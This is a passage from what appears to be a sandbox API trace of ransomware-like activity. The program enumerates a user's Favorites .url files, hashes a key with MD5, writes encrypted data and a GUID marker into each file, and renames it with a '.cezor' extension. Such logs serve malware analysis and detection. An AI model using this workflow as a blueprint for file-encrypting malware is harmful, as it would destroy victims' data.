lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.971] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.971] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.971] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.971] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.971] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.971] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.971] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.972] CloseHandle (hObject=0x5c4) returned 1 [0060.972] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0060.972] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0060.972] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0060.972] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.cezor")) returned 1 [0060.973] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.973] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.974] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.974] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0060.974] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.974] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.974] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.974] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned=".url" [0060.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.975] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0060.975] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.977] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.977] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.978] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.978] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.978] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.978] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0060.978] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.978] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.978] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.978] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.978] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0060.979] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.979] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.979] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.979] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.979] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.979] GetLastError () returned 0x0 [0060.979] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.979] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0060.979] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.979] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.979] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.979] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.979] WriteFile (in: hFile=0x5c4, lpBuffer=0x301db48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x301db48*, lpNumberOfBytesWritten=0x9aafb24*=0x80, lpOverlapped=0x0) returned 1 [0060.979] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.979] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.979] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.979] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.980] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.980] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.980] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.980] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.980] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.980] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.980] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.980] CloseHandle (hObject=0x5c4) returned 1 [0060.980] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.980] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0060.980] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.981] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.cezor")) returned 1 [0060.981] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.981] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.982] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.982] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0060.982] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.982] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.982] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.982] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned=".url" [0060.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.983] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0060.983] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.985] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.985] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.986] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0060.986] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.986] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.986] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.986] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0060.987] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.987] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.987] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.987] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.987] GetLastError () returned 0x0 [0060.987] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.987] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0060.987] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.987] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.988] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.988] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.988] CloseHandle (hObject=0x5c4) returned 1 [0060.988] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.cezor")) returned 1 [0060.989] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.989] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.990] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.990] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0060.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned=".url" [0060.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.990] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0060.990] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.992] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.992] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.993] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0060.993] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.993] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.993] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.993] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0060.994] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.994] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.994] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.994] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.994] GetLastError () returned 0x0 [0060.994] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.994] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0060.994] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.994] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.995] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.995] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.995] CloseHandle (hObject=0x5c4) returned 1 [0060.995] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.cezor")) returned 1 [0060.996] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.996] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.997] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.997] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0060.997] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned=".url" [0060.997] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.998] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0060.998] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.000] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.000] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.001] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0061.001] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.001] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.001] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.001] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.002] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.002] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.002] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.002] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.002] GetLastError () returned 0x0 [0061.002] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.002] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.002] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.002] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.002] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.002] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.002] CloseHandle (hObject=0x5c4) returned 1 [0061.003] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.cezor")) returned 1 [0061.004] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0061.004] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.004] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.004] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.004] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0061.005] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0061.005] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.005] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.005] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.005] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.005] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.005] PathFindFileNameW (pszPath="") returned="" [0061.005] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0061.005] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, 